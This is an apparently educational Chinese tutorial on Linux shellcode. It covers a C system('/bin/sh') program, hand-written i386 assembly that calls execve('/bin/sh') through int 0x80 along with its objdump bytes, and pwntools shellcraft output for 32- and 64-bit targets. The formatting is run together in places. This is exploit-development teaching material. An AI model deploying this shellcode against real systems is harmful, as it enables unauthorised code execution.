介绍
作用
- 启动shell ,进行交互
- 打开服务器端口等待连接
- 反向连接端口
简单shell 程序
#include "stdlib"#include "unistd.h"void main(){system("/bin/sh");exit(0);}
软中断
- 软中断触发
int 0x80syscall系统调用 execve("/bin/sh",0,0)- linux syscall table
- https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md
- https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
- https://thevivekpandey.github.io/posts/2017-09-25-linux-system-calls.html
- http://faculty.nps.edu/cseagle/assembly/sys_call.html
- https://filippo.io/linux-syscall-table/
- windows

- 设置 ebx 指向 /bin/sh
- ecx =0 ,edx = 0
- eax =0xb
- int 0x80 触发软中断
```c
└─# cat i386.asm
;;nasm -f elf32 i386.asm
;;ld -m elf_i386 -o i386 i386.o
;; objdump -d i386
global _start
_start:
push "/sh"push "/bin"mov ebx,espxor edx,edx;;edx=0xor ecx,ecx;;ecx=0mov al,0xb;;set al =0xbint 0x80
```c─# objdump -d i386i386: 文件格式 elf32-i386Disassembly of section .text:08049000 <_start>:8049000: 68 2f 73 68 00 push $0x68732f8049005: 68 2f 62 69 6e push $0x6e69622f804900a: 89 e3 mov %esp,%ebx804900c: 31 d2 xor %edx,%edx804900e: 31 c9 xor %ecx,%ecx8049010: b0 0b mov $0xb,%al8049012: cd 80 int $0x80
PWNTOOLS 生成
使用pwntools 快速生成对应架构shellcode
- 设置目标架构
- 生成shellcode
32 位
```python from pwn import * context(log_level=’debug’,arch=’i386’,os=’linux’) shellcode=asm(shellsraft.sh())
/ execve(path=’/bin///sh’, argv=[‘sh’], envp=0) / / push b’/bin///sh\x00’ / push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp / push argument array [‘sh\x00’] / / push ‘sh\x00\x00’ / push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx / null terminate / push 4 pop ecx add ecx, esp push ecx / ‘sh\x00’ / mov ecx, esp xor edx, edx / call execve() / push SYS_execve / 0xb / pop eax int 0x80
<a name="dzBoI"></a>### 64位```pythonfrom pwn import *context(log_level='debug',arch='amd64',os='linux')shellcode=asm(shellcraft.sh())/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push b'/bin///sh\x00' */push 0x68mov rax, 0x732f2f2f6e69622fpush raxmov rdi, rsp/* push argument array ['sh\x00'] *//* push b'sh\x00' */push 0x1010101 ^ 0x6873xor dword ptr [rsp], 0x1010101xor esi, esi /* 0 */push rsi /* null terminate */push 8pop rsiadd rsi, rsppush rsi /* 'sh\x00' */mov rsi, rspxor edx, edx /* 0 *//* call execve() */push SYS_execve /* 0x3b */pop raxsyscall
